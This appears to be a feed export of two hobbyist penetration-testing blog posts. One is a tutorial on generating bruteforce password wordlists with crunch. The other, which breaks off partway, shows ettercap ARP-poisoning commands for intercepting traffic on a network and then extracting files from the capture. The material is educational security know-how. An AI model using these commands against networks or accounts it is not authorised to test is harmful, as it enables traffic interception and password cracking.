by&amp;nbsp; ;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;a href="http://adaywithtape.blogspot.com/2011/05/creating-wordlists-with-crunch-v30.html"&gt;http://adaywithtape.blogspot.com/2011/05/creating-wordlists-with-crunch-v30.html&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;crunch is an invaluable tool for quickly (well.. depending on the size of wordlist..) creating bruteforce wordlists.&lt;br /&gt;&lt;br /&gt;The latest version released recently is v2.4 and compared with the release currently installed with backtrack 4 (v2.0) comes with some very cool additions. &lt;br /&gt;&lt;i&gt;The version of crunch in backtrack 4 repositories is expected to be updated within a few days to crunch v2.4&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;Edit dd 03-07-2010 -- Crunch 2.4 is finally included in latest updates !&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;crunch is one of the first tools that come to mind when needing to create a bruteforce wordlist and since it has been modified so heavily since I first stumbled on it with backtrack 3, I figured it was time for a full and comprehensive testing,&amp;nbsp; to be able get to grips with all the latest goodness in it !&lt;br /&gt;&lt;br /&gt;The default path for crunch v2.4 in backtrack 4 is;&lt;br /&gt;&lt;b&gt;/pentest/passwords/crunch/&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;crunch's output is printed to screen when no -o option is given to write to file, so you can easily check to see if it is doing what you wanted.&lt;br /&gt;It can also be piped through to additional programs such as aircrack or cowpatty.&lt;br /&gt;&lt;br /&gt;general usage is ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;./crunch &lt;min length=""&gt;&lt;max length=""&gt;&lt;min-length&gt;&lt;max-length&gt;&lt;min length=""&gt;&lt;max length=""&gt;[minlength] [maxlength] [charset] -o wordlist.txt&lt;/max&gt;&lt;/min&gt;&lt;/max-length&gt;&lt;/min-length&gt;&lt;/max&gt;&lt;/min&gt;&lt;/div&gt;&lt;br /&gt;NOTE:&lt;br /&gt;It is close to impossible to stop crunch to still show the command given, so the below pics are images of &lt;b&gt;part&lt;/b&gt; of the output from the given command..&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;BASIC USAGE &amp;amp; CHARACTER SETS&lt;/div&gt;&lt;div style="color: yellow;"&gt;==============================&lt;/div&gt;&lt;br /&gt;&amp;nbsp;If no character set is defined, crunch defaults to using lower case alpha only ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/no-char-set.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="246" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/no-char-set.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The charset can be entered manually in the command line ; &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/CHARANDNUMB.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="246" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/CHARANDNUMB.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The output can also be inverted using the -i option.&lt;br /&gt;&lt;br /&gt;So as opposed to ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 ABCDEFG &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-i.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="246" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-i.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Using the -i option will invert the direction when making the wordlist from left-to-right to right-to-left ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 ABCDEFG -i &lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-i-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="246" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-i-1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or a charset can be chosen from the charset.lst file which saves on the typing (and typoes..) when dealing with normal ranges of letters, numbers and symbols.&lt;br /&gt;&lt;span style="color: yellow;"&gt;charset.lst &lt;i&gt;(included in the crunch installation package) ;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/charset.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="426" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/charset.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -f charset.lst mixalpha-numeric&lt;/div&gt;&lt;br /&gt;The output using charsets can also be inverted using the -i option.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;CREATING CUSTOM PATTERNS&lt;/div&gt;&lt;div style="color: yellow;"&gt;==========================&lt;/div&gt;&lt;br /&gt;The great thing about crunch is the ability to create patterns with the -t option, this function has been greatly improved with crunch v2.3 and now offers many more possibilities than before. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To create a wordlist with a prefix of 'dog' followed by the characters in a chosen charset ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -f charset.lst lalpha -t dog@@@&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-dogaaa.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-dogaaa.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or having 'dog' appended to the end of the chosen charset ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -f charset.lst lalpha -t @@@dog&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-aaadog.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-aaadog.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or to have 'dog' bang in the middle ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 7 7 -f charset.lst lalpha -t @@dog@@&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-aadogaa.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-aadogaa.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In this latest version of crunch it is also possible to create a pattern, specifying where you want&lt;br /&gt;characters / numbers / symbols&lt;br /&gt;which can really be handy in reducing the overall size of the wordlist if you know there is a certain pattern involved; &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -f charset.lst mixalpha -t @dog%^&lt;/div&gt;In the above example ;&lt;br /&gt;&lt;span style="color: yellow;"&gt;@&lt;/span&gt; --&amp;gt; will read and print from the specified character set only.&lt;br /&gt;&lt;span style="color: yellow;"&gt;%&lt;/span&gt; --&amp;gt; will print numeric values only.&lt;br /&gt;&lt;span style="color: yellow;"&gt;^&lt;/span&gt; --&amp;gt; will print symbols/special characters only, including space.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-adogns.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-adogns.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This feature opens up easier and powerful options for creating lists with certain patterns of special characters or numbers;&lt;br /&gt;&lt;br /&gt;For a 4 character wordlist containing only special characters.&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -t ^^^^&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-symbol.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-symbol.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For a 4 character wordlist containing numbers and special characters  in the sequence; 1$1$&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -t %^%^&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-nsns.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-nsns.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For a 4 letter wordlist containing characters and numbers in the  sequence; a1a1&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -t @%@%&lt;/div&gt;&lt;i&gt;Note that if no character set is defined, crunch defaults to  lower case alpha character set when using @ &lt;/i&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-anan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-anan.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For a 4 letter wordlist containing characters from a character set and special characters in the sequence A$A$&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -f charset.lst mixalpha-numeric-space -t @^@^&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-asas.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-asas.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Character sets to use for the -t option can also be specified ; &lt;br /&gt;&lt;br /&gt;To use ;&lt;br /&gt;&lt;span style="color: yellow;"&gt;ABCD&lt;/span&gt; as characters&lt;br /&gt;&lt;span style="color: yellow;"&gt;1234&lt;/span&gt; as numeric values&lt;br /&gt;&lt;span style="color: yellow;"&gt;@#$%&lt;/span&gt; as symbols&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -t @dog%^ ABCD 1234 @#$%&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-charset1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-charset1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 7 7 -t ^@dog%@ ABCD 1234 @#$%&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-charset2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-t-charset2.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note that when specifying character sets like this for use with the -t option, the sequence of the character set specification &lt;b&gt;must &lt;/b&gt;be;&lt;br /&gt;alpha -- numeric -- symbols&lt;br /&gt;&lt;br /&gt;Some special characters need escaping, to do this make sure a backslash &lt;span style="color: red;"&gt;\&lt;/span&gt; is placed before the character to escape, so for instance using the above example, but requiring a symbol charset of ;&lt;br /&gt;&lt;div style="color: yellow;"&gt;!()&amp;amp; &lt;/div&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -t @dog%^ ABCD 1234 &lt;span style="color: red;"&gt;\&lt;/span&gt;!&lt;span style="color: red;"&gt;\&lt;/span&gt;(&lt;span style="color: red;"&gt;\&lt;/span&gt;)&lt;span style="color: red;"&gt;\&lt;/span&gt;&amp;amp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/escaping.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/escaping.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;STRING PERMUTATIONS&lt;/div&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;====================&lt;/div&gt;&lt;br /&gt;Crunch also now has the possibility to generate permutations instead of combinations on either strings of characters or words. &lt;br /&gt;&lt;br /&gt;To generate permutations on characters, specify with the -p option, fun for anagrams !&lt;br /&gt;(although crunch then ignores min and max length, you do still need to enter them) &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 1 1 -p dog&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-p.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-p.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To generate permutations on words/strings, specify same with the -m option,&lt;br /&gt;(again, although the min and max length is ignored, it does need to be entered) &lt;br /&gt;The -m option does not (yet) have the capability to read from file, this  however, has been placed in the author's to-do list.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 1 1 -m cat dog pig&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-m.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-m.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;OUTPUT OPTIONS&lt;/div&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;===============&lt;/div&gt;&lt;br /&gt;Resulting output from crunch can also be split in various sizes, based on either line count or on actual size and can also be compressed.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To split the output based on line count, use the -c option combined with -o START ;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 4 4 -f charset.lst lalpha -o START -c 100000&lt;/span&gt; &lt;br /&gt;The above will result in files being created containing no more than 100000 words (lines). &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-c-1k.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-c-1k.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Output files can be split into files of a certain maximum size using the -b option combined with -o START.&lt;br /&gt;The size definition can be;&amp;nbsp; kb, mb, gb&amp;nbsp; or&amp;nbsp; kib, mib, gib&lt;br /&gt;kb, mb, and gb are based on the power of 10 (i.e. 1KB = 1000 bytes)&lt;br /&gt;kib, mib, and gib are based on the power of 2 (i.e. 1KB = 1024 bytes). &lt;br /&gt;&lt;br /&gt;Creating files no larger than 500kb :&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -f charset.lst lalpha -o START -b 500kb&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-b-500k.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-b-500k.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Creating files no larger than 1mb :&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -f charset.lst lalpha -o START -b 1mb&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-b-1mb.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-b-1mb.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Output files can also be compressed with the -z option, using either bzip, gzip or lzma&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 4 4 -f charset.lst lalpha -o wordlist -z gzip&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot02-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="243" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot02-1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A resume function is also built-in with the -r option;&lt;br /&gt;After cancelling the build of the wordlist, the exact same syntax must be used again followed with the -r option ; &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -f charset.lst mixalpha -o wordlist.txt&amp;nbsp;&lt;/div&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -f charset.lst mixalpha -o wordlist.txt -r&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-r.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/option-r.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are many options and it truly is a great tool.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanks to bofh28 for reading my ramblings and thanks for this awesome tool !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The latest build can be downloaded at ;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/crunch-wordlist/"&gt;&lt;b&gt;http://sourceforge.net/projects/crunch-wordlist/&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-5123871224354533451?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/5123871224354533451/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2010/04/creating-wordlists-with-crunch-v23.html#comment-form' title='122 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/5123871224354533451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/5123871224354533451'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2010/04/creating-wordlists-with-crunch-v23.html' title='Creating wordlists with crunch v2.4'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>122</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-4304260292720662413</id><published>2010-03-11T00:57:00.060+01:00</published><updated>2010-03-28T10:49:07.768+02:00</updated><title type='text'>network captures revisited</title><content type='html'>My goals were simple;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;After having connected to my network, to capture all packets in a format that I can analyse later with the tools of my choice;&lt;/li&gt;&lt;li&gt;To view activity on my network 'live'. &lt;/li&gt;&lt;/ul&gt;Finally, after failing miserably trying to accomplish what was so easy in my mind..enter Ettercap.. &lt;br /&gt;saving my day (and a couple of nights' sleep).&lt;br /&gt;&lt;br /&gt;A simple step has kept me busy for ages.. sjeesh..what a douche..can't believe I've never looked into it !&lt;br /&gt;After some major browsing, reading and video viewing, I like it. &lt;br /&gt;There is a lot of information out there on the various uses of  Ettercap and it is obviously a very powerful tool.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, to get back to my goal, to achieve it I used the below tools; &lt;br /&gt;Done on Backtrack 4.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;ettercap&lt;/div&gt;&lt;div style="color: yellow;"&gt;foremost&lt;/div&gt;&lt;span style="color: yellow;"&gt;tcpxtract&lt;/span&gt; &lt;i&gt;(can be installed from the backtrack repos)&lt;/i&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;tcpreplay&lt;/div&gt;&lt;div style="color: yellow;"&gt;urlsnarf/driftnet --&amp;gt; dsniff suite&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;After having connected to my network and having obtained IP address, time to fire up ettercap and get a list of hosts on the network;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;ettercap -Tq -i wlan0 //&lt;/div&gt;'&lt;span style="color: lime;"&gt;h&lt;/span&gt;' for inline help&lt;br /&gt;'&lt;span style="color: lime;"&gt;l/L&lt;/span&gt;' to see the hosts&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot02.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot02.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span id="goog_1268304022089"&gt;&lt;/span&gt;&lt;span id="goog_1268304022090"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'&lt;span style="color: lime;"&gt;q/Q&lt;/span&gt;' to quit Ettercap&lt;br /&gt;&lt;br /&gt;I will choose to capture traffic from just a single client by routing all that client's traffic through ettercap (man in the middle attack) using arp-poisoning and writing this to a pcap file by using the -w option ; &lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;ettercap -Tq -i wlan0 -M arp:remote /192.168.1.1/ /192.168.1.102/ -w dump&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot03.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot03.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If I wanted to capture all traffic from all clients, then the syntax would be;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;ettercap -Tq -i wlan0 -M arp:remote /192.168.1.1/ // -w dump&lt;/div&gt;(all hosts slowed things down a bit)&lt;br /&gt;&lt;br /&gt;Anyway, I let it rip focussed on 1 host and browsed happily away on the victim pc.&lt;br /&gt;&lt;br /&gt;After stopping ettercap the file 'dump' was ready for use.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;EXTRACTING FILES FROM CAPTURE FILE&lt;/div&gt;&lt;div style="color: #6aa84f;"&gt;==================================&lt;/div&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;DRIFTNET&lt;/div&gt;&lt;a href="http://www.ex-parrot.com/%7Echris/driftnet/"&gt;http://www.ex-parrot.com/~chris/driftnet/&lt;/a&gt;&lt;br /&gt;extracts images, audi and mpeg video from TCP streams &lt;br /&gt;&lt;div style="color: yellow;"&gt;--------------------------------------------------------------------&lt;/div&gt;I  touched on this one in a previous post &lt;a href="http://adaywithtape.blogspot.com/2009/09/monitoring-network-with-dsniff-urlsnarf.html"&gt;Analyzing/Monitoring  network captures with dsniff&lt;/a&gt; but as it is still a valid tool, why  not touch on it again.&lt;br /&gt;As far as I can see the tool hasnt been updated since  2001, but it still has its uses,&amp;nbsp; in my case however, it did sometimes stop  responding and need restarting.&lt;br /&gt;&lt;br /&gt;Driftnet does not read from files, and so we need to replay the  dump file through the loopback interface and have driftnet extract the  files from that;&lt;br /&gt;For driftnet to work 